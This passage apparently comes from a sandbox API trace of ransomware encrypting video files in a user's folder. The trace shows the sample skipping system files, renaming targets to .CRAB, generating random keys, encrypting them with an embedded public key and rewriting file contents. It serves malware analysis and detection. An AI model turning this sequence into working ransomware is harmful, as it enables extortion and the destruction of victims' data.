	[0134.257] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.257] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.258] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.258] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.258] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.258] lstrcmpW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2=".") returned 1
	[0134.258] lstrcmpW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="..") returned 1
	[0134.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="jUvEEP6AV1TsLx2v4Ra.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv"
	[0134.258] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.258] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv") returned 52
	[0134.259] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv") returned 52
	[0134.259] lstrlenW (lpString=".mkv") returned 4
	[0134.259] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.259] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0134.259] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.259] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv") returned 52
	[0134.259] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv") returned 52
	[0134.259] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="desktop.ini") returned 1
	[0134.259] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="autorun.inf") returned 1
	[0134.259] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="ntuser.dat") returned -1
	[0134.260] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="iconcache.db") returned 1
	[0134.260] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="bootsect.bak") returned 1
	[0134.260] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="boot.ini") returned 1
	[0134.260] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="ntuser.dat.log") returned -1
	[0134.260] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="thumbs.db") returned -1
	[0134.260] lstrcmpiW (lpString1="jUvEEP6AV1TsLx2v4Ra.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.260] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.260] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB") returned 57
	[0134.260] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\juveep6av1tslx2v4ra.mkv")) returned 0x20
	[0134.260] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv", dwFileAttributes=0x20) returned 1
	[0134.261] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\juveep6av1tslx2v4ra.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\juveep6av1tslx2v4ra.mkv.crab")) returned 1
	[0134.292] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.292] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB"
	[0134.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB.CRAB"
	[0134.293] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.294] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.294] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.294] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.294] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.294] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.294] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.295] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0134.296] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.296] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.296] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.296] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.296] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.296] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.297] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.297] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.297] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.298] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248f70) returned 1
	[0134.298] CryptGetKeyParam (in: hKey=0x3248f70, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.299] CryptEncrypt (in: hKey=0x3248f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.299] GetLastError () returned 0x0
	[0134.299] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.299] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.300] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249030) returned 1
	[0134.300] CryptGetKeyParam (in: hKey=0x3249030, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.300] CryptEncrypt (in: hKey=0x3249030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.301] GetLastError () returned 0x0
	[0134.301] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.301] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\jUvEEP6AV1TsLx2v4Ra.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\juveep6av1tslx2v4ra.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.301] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.301] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.302] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0xdac5, lpOverlapped=0x0) returned 1
	[0134.367] VirtualAlloc (lpAddress=0x0, dwSize=0xdad0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.368] VirtualAlloc (lpAddress=0x0, dwSize=0xdad0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.375] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.376] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff253b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.376] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xdad0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xdad0, lpOverlapped=0x0) returned 1
	[0134.376] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.377] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.380] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.381] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.381] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.381] CloseHandle (hObject=0x3e8) returned 1
	[0134.381] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.381] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.381] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.382] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.383] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.383] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.384] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.384] lstrcmpW (lpString1="KFti_eKeL-oZ.avi", lpString2=".") returned 1
	[0134.384] lstrcmpW (lpString1="KFti_eKeL-oZ.avi", lpString2="..") returned 1
	[0134.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="KFti_eKeL-oZ.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi"
	[0134.384] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.384] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi") returned 45
	[0134.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi") returned 45
	[0134.384] lstrlenW (lpString=".avi") returned 4
	[0134.384] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.385] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0134.385] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.385] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi") returned 45
	[0134.385] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi") returned 45
	[0134.385] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="desktop.ini") returned 1
	[0134.385] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="autorun.inf") returned 1
	[0134.385] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="ntuser.dat") returned -1
	[0134.386] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="iconcache.db") returned 1
	[0134.386] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="bootsect.bak") returned 1
	[0134.386] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="boot.ini") returned 1
	[0134.386] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="ntuser.dat.log") returned -1
	[0134.386] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="thumbs.db") returned -1
	[0134.386] lstrcmpiW (lpString1="KFti_eKeL-oZ.avi", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.386] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.386] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB") returned 50
	[0134.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\kfti_ekel-oz.avi")) returned 0x20
	[0134.386] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi", dwFileAttributes=0x20) returned 1
	[0134.387] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\kfti_ekel-oz.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\kfti_ekel-oz.avi.crab")) returned 1
	[0134.388] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.388] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB"
	[0134.388] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB.CRAB"
	[0134.388] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0134.389] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.389] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.390] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.390] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.390] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.390] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.390] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0134.391] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.392] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.392] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.392] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.392] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.392] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.392] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.393] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.394] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32492f0) returned 1
	[0134.394] CryptGetKeyParam (in: hKey=0x32492f0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.394] CryptEncrypt (in: hKey=0x32492f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.394] GetLastError () returned 0x0
	[0134.394] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.394] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.395] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249130) returned 1
	[0134.396] CryptGetKeyParam (in: hKey=0x3249130, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.396] CryptEncrypt (in: hKey=0x3249130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.396] GetLastError () returned 0x0
	[0134.396] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.396] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\KFti_eKeL-oZ.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\kfti_ekel-oz.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.396] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.397] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.397] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x14439, lpOverlapped=0x0) returned 1
	[0134.404] VirtualAlloc (lpAddress=0x0, dwSize=0x14440, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.405] VirtualAlloc (lpAddress=0x0, dwSize=0x14440, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0134.407] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.408] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffebbc7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.408] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x14440, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x14440, lpOverlapped=0x0) returned 1
	[0134.408] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.409] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.413] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.413] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.413] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.413] CloseHandle (hObject=0x3e8) returned 1
	[0134.413] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.413] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.414] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.414] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.414] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.414] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.414] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.415] lstrcmpW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2=".") returned 1
	[0134.415] lstrcmpW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="..") returned 1
	[0134.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="krwIA04EhsgR T_ m9V.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv"
	[0134.415] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.415] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv") returned 52
	[0134.415] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv") returned 52
	[0134.415] lstrlenW (lpString=".mkv") returned 4
	[0134.415] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.415] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0134.415] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.416] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv") returned 52
	[0134.416] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv") returned 52
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="desktop.ini") returned 1
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="autorun.inf") returned 1
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="ntuser.dat") returned -1
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="iconcache.db") returned 1
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="bootsect.bak") returned 1
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="boot.ini") returned 1
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="ntuser.dat.log") returned -1
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="thumbs.db") returned -1
	[0134.416] lstrcmpiW (lpString1="krwIA04EhsgR T_ m9V.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.416] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.417] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB") returned 57
	[0134.417] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\krwia04ehsgr t_ m9v.mkv")) returned 0x20
